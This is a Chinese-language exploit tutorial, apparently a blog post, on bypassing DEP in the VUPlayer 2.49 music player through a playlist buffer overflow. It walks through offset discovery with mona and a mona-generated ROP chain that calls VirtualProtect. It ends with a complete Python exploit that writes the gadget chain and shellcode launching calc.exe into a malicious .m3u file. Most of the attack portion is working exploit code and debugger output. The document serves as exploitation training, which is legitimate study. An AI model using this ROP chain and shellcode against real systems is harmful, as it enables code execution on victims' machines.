当程序开启数据执行保护(DEP)后,我们无法在栈上执行shellcode
,但可以利用程序中自带的代码片段(gadget),使ret
指令和栈数据相配合,将 gadget
串成一串,也能起到shellcode
的效果,这就是返回导向编程ROP
。
参考链接:
环境准备
Immunity Debugger : 一个windows下由纯python编写的调试器,有丰富的python安全工具库。
mona插件:将mona.py放到Immunity Debugger 的PyCommands目录下即可
VUPlayer : 一个小巧的音乐播放器。2.49版本在打开 play list 时存在缓冲区溢出漏洞。
DEP:开启操作系统的DEP
设置(WIN10下:设置—系统—关于—高级系统设置—性能-设置—数据执行保护—选中“DEP(U)”)
随机基址(ASLR): 关闭
开始实验
确认漏洞
编写python脚本,生成一个 test.m3u
1 2 3 4
| payload = 3000 * "A" file = open('test.m3u','w') file.write(payload) file.close()
|
打开VUPlayer,选择file-->open playlist
,选中test.m3u
,发现VUPlayer
闪退。
使用windbg打开,将test.m3u
拖入VUPlayer
,发现 EIP 被 0x41414141 覆盖,确定存在栈溢出漏洞
确认偏移量
在windbg中输入以下命令
1 2 3
| !py mona pattern_create 3000 或者 !py mona pc 3000
|
将得到的3000个字符拷贝到test.m3u
文件,重复之前的操作,得到
之后执行以下命令,确定偏移量(偏移量指输入点距栈中返回地址之间的字节数):
1 2 3
| !py mona pattern_offset 68423768 或 !py mona po 0x68423768 # 0x可以省略
|
得到
确定偏移量为 1012 。
使用以下脚本,重复操作,测试偏移量是否正确:
1 2 3 4
| payload = "A"*1012 + "B"*4 file = open('test.m3u','w') file.write(payload) file.close()
|
看到 EIP 成功被 0x42424242 覆盖,偏移量正确
直接在栈上执行shellcode
搜索跳转指令
得到以下输出
1 2 3 4 5 6 7 8 9 10 11
| [+] Writing results to jmp.txt - Number of pointers of type 'jmp esp' : 7 - Number of pointers of type 'call esp' : 7 - Number of pointers of type 'push esp # ret ' : 1 [+] Results : 0x1000d0ff | 0x1000d0ff : jmp esp | null {PAGE_EXECUTE_READWRITE} [BASS.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v2.3.0.3 (D:\VulnTest\VUPlayer\BASS.dll), 0x0 0x1010539f | 0x1010539f : jmp esp | {PAGE_EXECUTE_READWRITE} [BASSWMA.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v2.3.0.3 (D:\VulnTest\VUPlayer\BASSWMA.dll), 0x0 ...、、 Found a total of 15 pointers
[+] This mona.py action took 0:00:04.439000
|
尝试执行栈上指令
选用 0x1010539f
(0x1000d0ff
存在”\x00
“,不能正常工作)
1 2 3 4
| payload = b"A"*1012 + b"\x9f\x53\x10\x10" + b"\xcc" file = open('test.m3u','wb') file.write(payload) file.close()
|
在windbg下打开VMPlayer
,拖入test.m3u
文件,得到以下结果:
说明开启了DEP
防护,无法直接执行shellcode。
构造ROP使用绕过DEP
我们需要使用ROP
调用VirtualProtect
函数,以关闭shellcode所在页的DEP
保护。
VirtualProtect
首先介绍VirtualProtect函数
1 2 3 4 5 6
| BOOL VirtualProtect ( LPVOID lpAddress, # 要改变属性的内存起始地址 DWORD dwSize, # 要改百年属性的内存字节数 DWORD flNewProtect, # 输入新的页属性 PDWORD lpflOldProtect # 返回旧的页属性 );
|
页属性为 PAGE_EXECUTE_READWRITE(0x40)
时,该页可读可写可执行。
我们的调用参数应该如下:
1 2 3 4 5 6
| BOOL VirtualProtect ( shellcode_addr,# shellcode起始地址 shellcode_len, # 不小于shellcode长度,比如 0x201(常用) 0x40, # PAGE_EXECUTE_READWRITE 某个可写地址, );
|
mona搜索ROPChain
- 优先使用程序本身的
dll
而不是系统库,前者没开启ASLR
,即便系统重启,payload
仍有效。
-cp nonull
避免出现”\x00
“字节导致payload
被截断
mona
可以设置日志文件的存放目录(目录路径不要加双引号)
windbg
下执行以下命令,由于缺少符文报错,尝试immunity debugger
1
| !py mona rop -m "bass,basswma,bassmidi" -cp nonull
|
immunity debugger
下执行以下命令:
1 2
| !mona config -set workingfolder D:\Users\czx\NativeFiles\Desktop\blog\code\Exploitme-ROP\mona-log !mona rop -m "bass,basswma,bassmidi" -cp nonull
|
成功执行,输出信息如下:
在日志目录下生成了以下几个文件:
查看rop_chains.txt
,其中包含建议使用的rop_chain
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| Register setup for VirtualProtect() : -------------------------------------------- EAX = NOP (0x90909090) ECX = lpOldProtect (ptr to W address) EDX = NewProtect (0x40) EBX = dwSize ESP = lPAddress (automatic) EBP = ReturnTo (ptr to jmp esp) ESI = ptr to VirtualProtect() EDI = ROP NOP (RETN) --- alternative chain --- EAX = ptr to &VirtualProtect() ECX = lpOldProtect (ptr to W address) EDX = NewProtect (0x40) EBX = dwSize ESP = lPAddress (automatic) EBP = POP (skip 4 bytes) ESI = ptr to JMP [EAX] EDI = ROP NOP (RETN) + place ptr to "jmp esp" on stack, below PUSHAD ... def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ #[---INFO:gadgets_to_set_esi:---] 0x10015f82, # POP EAX # RETN [BASS.dll] 0x1060e25c, # ptr to &VirtualProtect() [IAT BASSMIDI.dll] 0x1001eaf1, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BASS.dll] 0x10030950, # XCHG EAX,ESI # RETN [BASS.dll] #[---INFO:gadgets_to_set_ebp:---] 0x1001d748, # POP EBP # RETN [BASS.dll] 0x1010539f, # & jmp esp [BASSWMA.dll] #[---INFO:gadgets_to_set_ebx:---] 0x10015f77, # POP EAX # RETN [BASS.dll] 0xfffffdff, # Value to negate, will become 0x00000201 0x10014db4, # NEG EAX # RETN [BASS.dll] 0x10032f32, # XCHG EAX,EBX # RETN 0x00 [BASS.dll] #[---INFO:gadgets_to_set_edx:---] 0x10015fe7, # POP EAX # RETN [BASS.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x10014db4, # NEG EAX # RETN [BASS.dll] 0x10038a6d, # XCHG EAX,EDX # RETN [BASS.dll] #[---INFO:gadgets_to_set_ecx:---] 0x101012e0, # POP ECX # RETN [BASSWMA.dll] 0x1003f0cc, # &Writable location [BASS.dll] #[---INFO:gadgets_to_set_edi:---] 0x10603658, # POP EDI # RETN [BASSMIDI.dll] 0x1001dc05, # RETN (ROP NOP) [BASS.dll] #[---INFO:gadgets_to_set_eax:---] 0x10015fe7, # POP EAX # RETN [BASS.dll] 0x90909090, # nop #[---INFO:pushad:---] 0x1001d7a5, # PUSHAD # RETN [BASS.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
|
RopChain分析
ropchain
是十分精巧的。ropchain的主要目的是为 VirtualProtect()
提供参数和控制执行流。
在执行完pushad
之后,栈中数据的内容应该如下:
_edi
表示执行pushad
前对应寄存器中的值
-> <func>
表示<func>
的地址
1 2 3 4 5 6 7 8 9
| _edi # -> retn _esi # -> vitrualprotect _ebp # -> jump esp _esp # shllcode的起始地址 _ebx # 0x201 _edx # 0x40 _ecx # 0x1003f0cc,一个可写地址 _eax # nop shellcode
|
执行了pushad
之后,retn
指令从栈顶端取出新的指令地址,并跳转至该地址开始执行,发现还是个retn
,重复之前过程,便将控制流指向了VirtualProtect
函数。
VirtualProtect
函数将_ebp
看作返回地址,将再下面的四个值看作四个输入的参数,函数效果为关闭shellcode
所在页内存的DEP
保护。_eax
没用。
执行完后,jump esp
便将执行流转到shellcode
。
完整exp
完整的exp
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| import struct
def create_rop_chain(): rop_gadgets = [ 0x10015f82, 0x1060e25c, 0x1001eaf1, 0x10030950, 0x1001d748, 0x1010539f, 0x10015f77, 0xfffffdff, 0x10014db4, 0x10032f32, 0x10015fe7, 0xffffffc0, 0x10014db4, 0x10038a6d, 0x101012e0, 0x1003f0cc, 0x10603658, 0x1001dc05, 0x10015fe7, 0x90909090, 0x1001d7a5, ] return b''.join(struct.pack('<I', _) for _ in rop_gadgets) rop_chain = create_rop_chain() shellcode = (b"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+ b"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+ b"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+ b"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+ b"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+ b"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+ b"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+ b"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+ b"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+ b"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+ b"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+ b"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+ b"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+ b"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+ b"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+ b"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+ b"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+ b"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+ b"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+ b"\x30\x03\xc6\xeb\xdd")
payload = b"a"*1012 + rop_chain + shellcode file = open('payload.m3u','wb') file.write(payload) file.close()
|
攻击结果
运行exp.py
,将生成的payload.m3u
拖入VUPlayer
,成功弹出计算器,如图:
总结
mona
在Immunity debugger
中比在Windbg
中更好用,虽然后者更美观。
mona
很智能,生成的rop_chains.txt
中的ropchain
可以直接使用。